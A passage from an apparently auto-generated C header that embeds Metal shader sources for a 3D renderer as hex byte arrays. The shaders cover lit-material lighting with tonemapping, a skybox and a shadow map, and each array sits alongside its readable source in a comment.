0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,
0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,
0x65,0x6e,0x74,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,
0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x34,0x30,0x39,
0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x36,0x20,0x3d,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x33,0x31,0x20,0x3d,0x20,0x61,0x74,
0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,0x20,
0x28,0x5f,0x34,0x33,0x31,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x36,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x20,0x3d,0x20,0x5f,
0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,
0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,
0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,0x2a,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,
0x20,0x5f,0x34,0x30,0x39,0x29,0x29,0x20,0x2a,0x20,0x5f,0x34,0x33,0x31,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x7d,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x34,0x36,0x32,0x20,0x3d,0x20,0x74,0x6f,
0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x74,
0x6f,0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,
0x20,0x3d,0x20,0x5f,0x34,0x36,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x28,0x5f,0x34,0x36,0x32,0x2c,0x20,0x5f,0x33,0x31,0x34,0x2e,
0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,
0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_skybox_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float3 vTexCoord [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 19 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_skybox_params& _22 [[buffer(0)]])
{
main0_out out = {};
#line 19 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aPosition.xzy;
#line 20 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = (_22.uModelViewProjection * float4(in.aPosition, 1.0)).xyww;
return out;
}
*/
static const char vs_skybox_source_metal_ios[684] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,
0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,
0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,
0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,0x73,
0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x32,
0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,
0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x32,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x28,0x5f,0x32,0x32,0x2e,
0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,
0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,
0x29,0x2e,0x78,0x79,0x77,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,
0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float3 vTexCoord [[user(locn0)]];
};
#line 12 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], texturecube<float> imageSkybox [[texture(0)]], sampler imageSkyboxSmplr [[sampler(0)]])
{
main0_out out = {};
#line 12 "src/ek/scenex/3d/render3d.glsl"
out.fragColor = imageSkybox.sample(imageSkyboxSmplr, in.vTexCoord);
return out;
}
*/
static const char fs_skybox_source_metal_ios[531] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,
0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,
0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,
0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,
0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,
0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,0x74,0x65,0x78,0x74,0x75,
0x72,0x65,0x63,0x75,0x62,0x65,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,
0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,
0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,
0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x69,0x6d,0x61,0x67,0x65,
0x53,0x6b,0x79,0x62,0x6f,0x78,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,
0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,
0x0a,0x0a,0x00,
};
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_shadow_map_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float2 projZW [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 18 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_shadow_map_params& _21 [[buffer(0)]])
{
main0_out out = {};
#line 18 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _21.uModelViewProjection * float4(in.aPosition, 1.0);
out.projZW = out.gl_Position.zw;
return out;
}
*/
static const char vs_shadow_map_source_metal_sim[639] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,
0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,
0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,
0x57,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,
0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x31,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,
0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,
0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x5f,0x32,0x31,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,
0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x70,0x72,
0x6f,0x6a,0x5a,0x57,0x20,0x3d,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float2 projZW [[user(locn0)]];
};
#line 10 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float4 encodeDepth(thread const float& v)
{
#line 10 "src/ek/scenex/3d/render3d.glsl"
float4 _25 = fract(float4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * float4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
#line 17 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]])
{
main0_out out = {};
#line 17 "src/ek/scenex/3d/render3d.glsl"
float param = in.projZW.x / in.projZW.y;
out.fragColor = encodeDepth(param);
return out;
}
*/
static const char fs_shadow_map_source_metal_sim[903] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,
0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,
0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x5b,
0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,
0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
